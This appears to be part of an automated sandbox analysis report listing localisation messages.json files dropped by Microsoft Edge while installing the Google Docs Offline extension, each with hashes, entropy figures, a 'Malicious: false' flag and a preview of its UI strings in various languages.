C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
